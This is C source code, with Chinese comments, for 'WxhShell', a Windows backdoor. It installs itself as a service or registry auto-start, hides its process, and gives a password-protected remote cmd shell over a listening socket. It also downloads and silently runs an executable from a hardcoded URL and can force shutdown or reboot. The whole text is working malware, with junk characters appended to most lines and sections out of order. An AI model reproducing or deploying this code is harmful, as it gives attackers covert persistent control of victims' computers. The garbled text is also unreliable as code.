    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eR5q3E/;G  
    if(Boot(SHUTDOWN)) eC"e v5v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O713'i  
    else { ,jC~U s<  
    closesocket(wsh); J[6/dM  
    ExitThread(0); elGBX h  
    } `PtB2,?  
    break; dNf9,P_}  
    } +BtLd+)R  
  // 获取shell <tbs,lcw;  
  case 's': { )J@[8 x`  
    CmdShell(wsh); J[?oV;O  
    closesocket(wsh); jRC{8^98  
    ExitThread(0); \Qah*1  
    break; jm<^WQ%Cc  
  } ,0h{RZKw  
  // 退出 qbq2Bi'a  
  case 'x': { h\@X!Z,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >g!$H}\  
    CloseIt(wsh); n]#YL4j  
    break; !O!:=wq  
    } paV1o>_Rd  
  // 离开 b*h:e.q  
  case 'q': { GOdWc9Ta!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yxu7YGp%  
    closesocket(wsh); |khFQ(  
    WSACleanup(); h='&^1  
    exit(1); "" ^n^$  
    break; /7S g/d%c  
        } 2 oL$I(83  
  } C<a&]dN/  
  } &?QKWxN  
IxWi>8  
  // 提示信息 Gq1C"s$4'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y54yojvV  
} $> QJ%v9+  
  } {wSz >,  
.R` _"7  
  return; /PaS <"<P@  
} a U.3  
\PN*gDmX  
// shell模块句柄 <Ffru?o4j  
int CmdShell(SOCKET sock) 3 +'vNc  
{ Bj6%mI42hl  
STARTUPINFO si; z[[qrR  
ZeroMemory(&si,sizeof(si));  ) 4t%?wT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #s\yO~F-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `dX0F=Ag?  
PROCESS_INFORMATION ProcessInfo; 6rE8P#  
char cmdline[]="cmd"; TW 1`{SM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s7}-j2riq  
  return 0; Y]6d Yq{k  
} cCiDe`T\F  
t3.;qDy  
// 自身启动模式 \25EI]  
int StartFromService(void) :&&s*_  
{ VgbT/v  
typedef struct J( ]b1e  
{ v\9f 8|K  
  DWORD ExitStatus; `Zmdlp@  
  DWORD PebBaseAddress; eW<NDI&b  
  DWORD AffinityMask; )xU+M{p-os  
  DWORD BasePriority; a|y'-r90  
  ULONG UniqueProcessId; #G(ivRo  
  ULONG InheritedFromUniqueProcessId; E Y !o#m  
}   PROCESS_BASIC_INFORMATION;  l2M(  
u"7!EhX&  
PROCNTQSIP NtQueryInformationProcess; L^C B#5uG  
5>S1lyam  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^ux'-/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L"1AC&~ u  
=`(W^&|  
  HANDLE             hProcess; P(b~3NB)  
  PROCESS_BASIC_INFORMATION pbi; $rQ7"w J  
} @3q;u)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \goiW;b  
  if(NULL == hInst ) return 0; Zonn  
fbdpDVmpU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I4qS8~+#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H^o_B1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @>ys,dy  
k&[6Ld0~56  
  if (!NtQueryInformationProcess) return 0; W"\`UzOLQ  
T%"wz3~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5sEk rT '  
  if(!hProcess) return 0; ep5`&g]3  
^(T~Qp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [q0^Bn}h  
,bM):  
  CloseHandle(hProcess); dqB N_P%  
/9SoVU8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \AI-x$5R*  
if(hProcess==NULL) return 0; 7$0bgWi  
fY =:geB  
HMODULE hMod; h c]p^/H  
char procName[255]; T_wh)B4xW  
unsigned long cbNeeded; )iC@n8f7o  
m%;LJ~R  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hv' OO@z  
+S#Xm4  
  CloseHandle(hProcess); XCxxm3t  
/`#JM  
if(strstr(procName,"services")) return 1; // 以服务启动 }=|{"C  
/VEK<.,aMv  
  return 0; // 注册表启动 -#4QY70H t  
} }[c.OJ:  
ZhRdml4U2  
// 主模块 iM1E**WCtv  
int StartWxhshell(LPSTR lpCmdLine) f*xv#G  
{ KT(v'KE 1  
  SOCKET wsl; w4Hq|N1-Y  
BOOL val=TRUE; C*RPSk  
  int port=0; e`JWY9%  
  struct sockaddr_in door; [ gR,nJH.  
eMn'z]M&]  
  if(wscfg.ws_autoins) Install(); PN J&{4wY  
HHgv, bC!  
port=atoi(lpCmdLine); 23ho uS   
ei}(jlQp  
if(port<=0) port=wscfg.ws_port; T~ XKV`LQ  
3)e{{]6  
  WSADATA data; kQ2WdpZ/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <dXeP/1w`  
I+3=|Ve f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   fX\y/C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qv:DpK  
  door.sin_family = AF_INET; Wi\k&V.mE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \fvm6$ rZ^  
  door.sin_port = htons(port); ^rY18?XC+:  
OYmutq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]70ZerQ~L  
closesocket(wsl); &VCg`r-{~  
return 1; EK Q>hww8  
} )@tHS-Jf  
-~_|ZnuM9  
  if(listen(wsl,2) == INVALID_SOCKET) { y>T>  
closesocket(wsl); f"AT@Ga]  
return 1; Uhn3usK  
} y G mFi  
  Wxhshell(wsl); at\u7>;.^k  
  WSACleanup(); ]j*uD317  
kPAg *  
return 0; rY@9nQ\>g  
{+5Ud#\y  
} Q_0_6,Opb  
23'<R i  
// 以NT服务方式启动 _2<UcC~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4Xwb`?}-  
{ nHZhP4W  
DWORD   status = 0; 3=Uyt  
  DWORD   specificError = 0xfffffff; ?Ycl!0m  
*.1#+h/]3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =C|^C3HK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $|[N3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PAC=LQn&  
  serviceStatus.dwWin32ExitCode     = 0; =CdrhP_  
  serviceStatus.dwServiceSpecificExitCode = 0; 6p&uifY}tR  
  serviceStatus.dwCheckPoint       = 0; KP>1%ap6  
  serviceStatus.dwWaitHint       = 0; 2r+nr  
 %(K}1[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); '|Lv -7  
  if (hServiceStatusHandle==0) return; f|/ ,eP$  
g"c7$  
status = GetLastError(); 2BT+[  
  if (status!=NO_ERROR) Gfy9YH~  
{ CeUXGa|C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P)Oe?z;G?  
    serviceStatus.dwCheckPoint       = 0;  B"5xs  
    serviceStatus.dwWaitHint       = 0; QOPh3+.5  
    serviceStatus.dwWin32ExitCode     = status; SL+n y(y  
    serviceStatus.dwServiceSpecificExitCode = specificError; eQ6wEeB9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <7L-25 =  
    return; *.D{d0A  
  } ZTB6m`  
0 xvSi9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %uiCC>cC  
  serviceStatus.dwCheckPoint       = 0; ,R7j9#D  
  serviceStatus.dwWaitHint       = 0; Fo~q35uB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $S2 /*  
} F~OQ'59!Pf  
@`^Z5n.4  
// 处理NT服务事件,比如:启动、停止 *mYGs )|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -Edi"B4K  
{ F|oyrG  
switch(fdwControl) [ `_sH\  
{ /t2H%#v{  
case SERVICE_CONTROL_STOP: *Utx0Me  
  serviceStatus.dwWin32ExitCode = 0; 2FO<Z %Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  (wxi!  
  serviceStatus.dwCheckPoint   = 0; B T {cTj0W  
  serviceStatus.dwWaitHint     = 0; _~P &8  
  { hKnV=Ha(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . _Jypk8  
  } ip*^eS^  
  return; ]n:R#55A  
case SERVICE_CONTROL_PAUSE: i3$G)W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +t Prqv"(  
  break; vD/l`Ib:  
case SERVICE_CONTROL_CONTINUE: 1g$xKe~]4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yWT1CID  
  break; CC$rt2\e  
case SERVICE_CONTROL_INTERROGATE: $?[pcgv  
  break; )U]q{0`  
}; :DuEv:;v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;/IX w>O(/  
} _t4(H))]vG  
5 5Mtjqfp  
// 标准应用程序主函数 o>&pj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IEkbVIA(  
{ INCD5dihJ  
Mdp'u$^!  
// 获取操作系统版本 ~u[1Vz4#3  
OsIsNt=GetOsVer(); j|p=JrCJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f%[xl6VE;  
i2[8^o`_  
  // 从命令行安装 ,&* BhUC  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y OvhMi  
2jkma :$'  
  // 下载执行文件 a`eb9o#  
if(wscfg.ws_downexe) { Bw[#,_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zQ u9LN  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Cty"H,  
} {CTJX2&  
^bdXzjf  
if(!OsIsNt) { N{M25ucAHl  
// 如果时win9x,隐藏进程并且设置为注册表启动 h^14/L=|  
HideProc(); i;IhsKO0R  
StartWxhshell(lpCmdLine); cqm:[0Xf5>  
} @2_ E9{T  
else 23Q 88z   
  if(StartFromService()) :vaVghN\  
  // 以服务方式启动 g$/7km{TP  
  StartServiceCtrlDispatcher(DispatchTable); P9q=tC3^  
else KhL%ov  
  // 普通方式启动 h2?\A%  
  StartWxhshell(lpCmdLine); qHd7C3  
G2P:|R  
return 0; :<5jlpV(  
} -<" ;|v4  
r;wm`(e  
r-]%R:U*  
={o)82LV  
=========================================== Fp]ErDan  
'cc{sjG  
<R%TCVwC@  
h1f 05  
K<pZ*l  
J*Cf1 D5!  
" H"?Ndl:  
IaO&f<^#o  
#include <stdio.h> ~K(mt0T )  
#include <string.h> BV}sN{  
#include <windows.h> EDF0q i  
#include <winsock2.h> .%M80X{5~  
#include <winsvc.h> 'tX}6wurf  
#include <urlmon.h> mSk";UCn  
8-@H zS%  
#pragma comment (lib, "Ws2_32.lib") Q DKY7"H  
#pragma comment (lib, "urlmon.lib") 4<f^/!9w  
g\iSc~%?  
#define MAX_USER   100 // 最大客户端连接数 Lnq CHe  
#define BUF_SOCK   200 // sock buffer )FfS7 C\.  
#define KEY_BUFF   255 // 输入 buffer la^K|!|  
LE?sAN  
#define REBOOT     0   // 重启 [b~+VeP+p4  
#define SHUTDOWN   1   // 关机 u?'J1\z  
p$*P@qm  
#define DEF_PORT   5000 // 监听端口 ~I~lb/  
F9A5}/\  
#define REG_LEN     16   // 注册表键长度 =&DuQvN,  
#define SVC_LEN     80   // NT服务名长度 sJ5#T iX  
%D% Ok7s})  
// 从dll定义API +NeoGnj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $)6M@S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wo,93]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); o/=61K8D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qx_N,1>S  
TnQW ~_:  
// wxhshell配置信息 l701$>>  
struct WSCFG { w")m]LV  
  int ws_port;         // 监听端口 ? Y luX  
  char ws_passstr[REG_LEN]; // 口令 80Q%c(i  
  int ws_autoins;       // 安装标记, 1=yes 0=no `-?`H>+OG  
  char ws_regname[REG_LEN]; // 注册表键名 N-45LS@  
  char ws_svcname[REG_LEN]; // 服务名 "}oo`+]Cq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UoSc<h|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8~|v:qk  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VAe[x `  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >Qg-dJt[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <KI>:@|Sc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :EH>&vm  
1hc`s+N  
}; O.-A)S@  
kX)*:~*  
// default Wxhshell configuration 0+.<BOcW5  
struct WSCFG wscfg={DEF_PORT, Xc~BHEp  
    "xuhuanlingzhe", n_wF_K\h  
    1, 7c6- o"A  
    "Wxhshell", IfY?P(P  
    "Wxhshell", o5m] Gqa  
            "WxhShell Service", 'Axe:8LA'  
    "Wrsky Windows CmdShell Service", t5P8?q\  
    "Please Input Your Password: ", f6PYB&<1  
  1, J.O{+{&cd  
  "http://www.wrsky.com/wxhshell.exe", KJs`[,;<  
  "Wxhshell.exe" Kb'4W-&u!  
    }; +HgyM0LFg  
^SM5oK  
// 消息定义模块 u 7 <VD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r-Y7wM`TZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +k/=L9#e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wbg ?IvY[  
char *msg_ws_ext="\n\rExit."; K1&t>2=%  
char *msg_ws_end="\n\rQuit."; _3#_6>=M  
char *msg_ws_boot="\n\rReboot..."; ",aEN=+|hV  
char *msg_ws_poff="\n\rShutdown..."; SQ'%a-Mct  
char *msg_ws_down="\n\rSave to "; 9 aKU}y  
QB ;TQZ  
char *msg_ws_err="\n\rErr!"; yf4 i!~  
char *msg_ws_ok="\n\rOK!"; ~3%aEj  
Y3 -f68*(  
char ExeFile[MAX_PATH]; xZ SDA8kS  
int nUser = 0; ]Z52L`k  
HANDLE handles[MAX_USER]; }VHvC"   
int OsIsNt; ~&"'>C#  
9Sl5jn  
SERVICE_STATUS       serviceStatus; xmfZ5nVL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0;]VTz?P  
ZoCk]hk  
// 函数声明 +6^hp-G7  
int Install(void); Fzn !  
int Uninstall(void); 0<^Q j.(9  
int DownloadFile(char *sURL, SOCKET wsh); O[p c$Pi  
int Boot(int flag); -M4VC^_  
void HideProc(void); /_yAd,^-+  
int GetOsVer(void); h<n2pz}  
int Wxhshell(SOCKET wsl); kUr/*an  
void TalkWithClient(void *cs); R38 \&F  
int CmdShell(SOCKET sock); Yjl:i*u/  
int StartFromService(void); 8A u W>7_  
int StartWxhshell(LPSTR lpCmdLine); |;I"Oc.w^R  
yQ&C]{>TS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ht@5@(W]I  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *qxv"PptX  
`BaJ >%|  
// 数据结构和表定义 BJ5^-|  
SERVICE_TABLE_ENTRY DispatchTable[] = ofsLx6Po  
{ 8N3rYx;d~  
{wscfg.ws_svcname, NTServiceMain}, !P":z0K4  
{NULL, NULL} $bN_0s0:'  
}; Xo6zeLHO  
-U\s.FI.AR  
// 自我安装 $+,kibk*R  
int Install(void) R3.8Dr 0f  
{ 42:,*4t(  
  char svExeFile[MAX_PATH]; RVF<l?EI4R  
  HKEY key; 6_:KFqc W  
  strcpy(svExeFile,ExeFile); w{4#Q[  
iRM ?_|  
// 如果是win9x系统,修改注册表设为自启动 &v feBth  
if(!OsIsNt) { ?=HoU3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J0o,ZH9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <~u-zaN<W  
  RegCloseKey(key); Or55_E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E5a7p.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L[U?{  
  RegCloseKey(key); AtqsrYj  
  return 0; :4LWm<P  
    } Y^XZ.R  
  } O:8Ne*L`D  
} =NWzsRl,  
else { G-#rWZ&  
;qcOcm%  
// 如果是NT以上系统,安装为系统服务 jHV) TBr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zhY]!  
if (schSCManager!=0) f=Oj01Ut*  
{ NS "1zR+  
  SC_HANDLE schService = CreateService <S12=<c?'  
  ( DU-dIq i  
  schSCManager, o@ L '|#e  
  wscfg.ws_svcname, (?i4P5s[!  
  wscfg.ws_svcdisp, }}oIZP\qM  
  SERVICE_ALL_ACCESS, " BU4\QF-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *@W B aN+  
  SERVICE_AUTO_START, =<AG}by![  
  SERVICE_ERROR_NORMAL, j!@, r^(  
  svExeFile, x Vw1  
  NULL, ]@CXUa,>a  
  NULL, 0%yPuY>  
  NULL, w BoP&l  
  NULL, ~b%dBn]n>  
  NULL Oe;1f#` 5  
  ); Fz5eCe\B  
  if (schService!=0) iT+t  
  { AdzdYZiM_  
  CloseServiceHandle(schService); s=Kz9WLy  
  CloseServiceHandle(schSCManager); MVEh<_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^,J>=>,1\  
  strcat(svExeFile,wscfg.ws_svcname); 29&F_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Bp4#"y2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S$a.8Xh  
  RegCloseKey(key); ET%F+  
  return 0; R''2o_F6  
    } )r(e\_n  
  } s~c cx"HH  
  CloseServiceHandle(schSCManager); KbH|'/w  
} 6B}V{2  
} G}aM~,v  
X<f4X"y  
return 1; Ty*+?#`  
} n} ]gAX  
t$lJgj(  
// 自我卸载 3(:?Z-iKe  
int Uninstall(void) g+xcKfN{  
{ $- Y8@bw  
  HKEY key; XG5"u  
}}Gkipp  
if(!OsIsNt) { '"h}l`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _<?z-K_;I  
  RegDeleteValue(key,wscfg.ws_regname); T ^ #1T$  
  RegCloseKey(key); zXx A"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ym$`EN  
  RegDeleteValue(key,wscfg.ws_regname); :j`XU  
  RegCloseKey(key); fe}RmnAC  
  return 0; "kKIv|`  
  } tv; ?W=&P  
} 2/x~w~3U  
} Z`n "}{  
else { ^}<]sjmk  
C\0,D9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >}d6)s|   
if (schSCManager!=0) fr8';Jm  
{ @[Wf!8_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  vF'IK,  
  if (schService!=0) ~N )(|N  
  { $-(lp0\*  
  if(DeleteService(schService)!=0) { _6L'}X$)N  
  CloseServiceHandle(schService); 7}(YCZny5  
  CloseServiceHandle(schSCManager); nd5.Py$  
  return 0; !"ydl2  
  } ~W3t(\B'  
  CloseServiceHandle(schService); ZR8y9mx2"  
  } 8rNf4]5@X(  
  CloseServiceHandle(schSCManager); d~T@fa  
} CYM>4C~>JW  
} {l\Ep=O vx  
"J `#  
return 1; +hs:W'`%  
} G+m[W  
`'pfBVBz  
// 从指定url下载文件 eGWwPSIp  
int DownloadFile(char *sURL, SOCKET wsh) "M,Hm!j  
{ w!}kcn<  
  HRESULT hr; hz h3p[  
char seps[]= "/"; $]a*ZHd;2&  
char *token; &C#?&AQ  
char *file; $M1;d1e6'  
char myURL[MAX_PATH]; F#RtU :R  
char myFILE[MAX_PATH]; 1b@]^Ue  
[5GzY`/m  
strcpy(myURL,sURL); S5cs(}Bq  
  token=strtok(myURL,seps);  7uzc1}r  
  while(token!=NULL) K'[kl'  
  { )W1[{?  
    file=token; vI(CX]o  
  token=strtok(NULL,seps); q%XjJ -s:  
  } @J6V ,  
C *7x7|z  
GetCurrentDirectory(MAX_PATH,myFILE); 9q2x}  
strcat(myFILE, "\\"); Seq ^o=  
strcat(myFILE, file); ]DZ~"+LaG  
  send(wsh,myFILE,strlen(myFILE),0); WqHp23  
send(wsh,"...",3,0); 1([?EfC  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }#n d&ND  
  if(hr==S_OK) ? O9|  
return 0; QO4eDSW  
else NkAu<> G _  
return 1; LfvRH?<W  
(62Sc]  
} c Hnd gUW]  
NQN?CBFQ  
// 系统电源模块 EIOP+9zP  
int Boot(int flag) m;vm7]5  
{ 6s$h _$[X  
  HANDLE hToken; OZe`>Q6  
  TOKEN_PRIVILEGES tkp; ^>z+e"PQA  
; Ji3|=4u  
  if(OsIsNt) { >ffQ264g=i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); UxnZA5Lk*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pO2XQYhrY  
    tkp.PrivilegeCount = 1; z%$M IC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; S AKIFNE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 98CS|NEe  
if(flag==REBOOT) { TR:4$92:H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WKq{g+a  
  return 0; ^KQZ;[B  
} :=K+~?  
else { gbu)bqu2x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mqiCn]8G  
  return 0; =ibKdPtTh^  
} L; <Pod  
  } IkQ,#Bsb[  
  else { bFJ>+ {#  
if(flag==REBOOT) { 9Wdx"g52_D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r$,Xv+}  
  return 0; U bh)}G,Mg  
} )OFf nKh  
else { fD2 N}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2>xEE  
  return 0; H$6;{IUz~  
} |sAl k,8s  
} !@FzP@  
QPB ^%8  
return 1; V:lKF')  
} 3.Jk-:u %m  
nMBF/75  
// win9x进程隐藏模块 t1!>EI`  
void HideProc(void) c(s: f@ 1  
{ ?4_ME3$t  
@$;I%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0fN; L;v  
  if ( hKernel != NULL ) 26=G%F6  
  { } ;d=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z3-=TN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f/sLQdK,  
    FreeLibrary(hKernel); -E.fo._L5  
  } R vd'uIJ  
(:RYd6i  
return; 3O|2Z~>3  
} Bsj^R\  
QGnUPiD^  
// 获取操作系统版本 VP1 z"j:  
int GetOsVer(void) Dp?lgw  
{ ,S&p\(r.  
  OSVERSIONINFO winfo; bMqFrG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {wf5HA  
  GetVersionEx(&winfo); u/J1Z>0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tSVS ogGd  
  return 1; RvyCc!d  
  else HgTBON(  
  return 0; zw0u|q;#  
} Y,-! QFS#  
X:QRy9]  
// 客户端句柄模块 pwA~?$B1  
int Wxhshell(SOCKET wsl) =TA8]7S~U  
{ 7 LiyA<  
  SOCKET wsh; a._>?rVy  
  struct sockaddr_in client; vJ>o9:(6  
  DWORD myID; ((6?b5[  
{v2[x W  
  while(nUser<MAX_USER) 8>|<m'e^\r  
{ "!:)qVL^  
  int nSize=sizeof(client); tV2o9!N4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /#[mV(k  
  if(wsh==INVALID_SOCKET) return 1; NZ% v{?  
b{.Y?.U  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); r<DPh5ReY  
if(handles[nUser]==0) `6v24?z  
  closesocket(wsh); Tzfk_h3hE  
else -(zw80@&  
  nUser++; E*L5D4Kw  
  } Wp^ A.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); af&P;#U  
v|nt(-JX  
  return 0; <=%G%V_s  
} LKg9{0Y:  
tYx>?~   
// 关闭 socket )Dyyb1\)  
void CloseIt(SOCKET wsh) UryHte  
{ f;bVzti+w  
closesocket(wsh); `_OB_F  
nUser--; 4XSq\.@G  
ExitThread(0); Q'aVdJN,  
} ov1#BeQ  
ob9=/ R?i  
// 客户端请求句柄 Xv xrz{  
void TalkWithClient(void *cs) ,v#3A7"yW  
{ b:$q5  
UGP&&A#T-  
  SOCKET wsh=(SOCKET)cs; it->)?"(6  
  char pwd[SVC_LEN]; ]G,BSttD  
  char cmd[KEY_BUFF]; ozl>Au  
char chr[1];  K"Gea`I  
int i,j; a#&\65D  
$v=(`=  
  while (nUser < MAX_USER) { }s.\B    
p@wtT"Y  
if(wscfg.ws_passstr) { y/"CWD/i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [+qB^6I+P%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l=47#zbpZ]  
  //ZeroMemory(pwd,KEY_BUFF); sRflabl *x  
      i=0; _Bhd@S!  
  while(i<SVC_LEN) { =P,pW  
K~~LJU3  
  // 设置超时 /pJr%}sc  
  fd_set FdRead; \+<=O`  
  struct timeval TimeOut; 22`e7  
  FD_ZERO(&FdRead); f+2mX"Z[F  
  FD_SET(wsh,&FdRead); DK|/|C}6  
  TimeOut.tv_sec=8; G#6O'G N  
  TimeOut.tv_usec=0; 8Y;2.Z`Rz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g>{t>B%v^K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j+2-Xy'  
g ~%IA.$c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kE1k@h#/  
  pwd=chr[0]; n.1$p  
  if(chr[0]==0xd || chr[0]==0xa) { "|/q4JN)7d  
  pwd=0; /1.gv~`+  
  break; Kj:'Ei7  
  } NFI~vkk'G  
  i++; 7Kt i&T  
    } a)!R4  
*]ME]2qP  
  // 如果是非法用户,关闭 socket 8x9;3{R   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #y1M1Og  
} Jjh=zxR>  
VgMuX3=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0kaMYV?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )a$sx}  
H:o=gP60]  
while(1) { /km0[M  
L tK,_j  
  ZeroMemory(cmd,KEY_BUFF); 7+rroCr"  
$^W|@et{ ]  
      // 自动支持客户端 telnet标准   >skl-f  
  j=0; TIno"tc3  
  while(j<KEY_BUFF) { gKRlXVS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |j4;XaG)  
  cmd[j]=chr[0]; _ + >V(,{G  
  if(chr[0]==0xa || chr[0]==0xd) { _ FN#Vq2  
  cmd[j]=0; Qi|k,1A0  
  break; y~ wN:  
  } ,?!MVN-  
  j++; i$H9~tPs  
    } 'acCnn'  
TZarI-A  
  // 下载文件 + ,rl\|J%  
  if(strstr(cmd,"http://")) { 'fY29Xr^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H WFnIUv  
  if(DownloadFile(cmd,wsh)) YyC$\HH6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ty8E;[ '  
  else "4.A@XsY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Nv7c{M^  
  } (1%A@ 4  
  else { 'Ge8l%p  
GsIqUM#R  
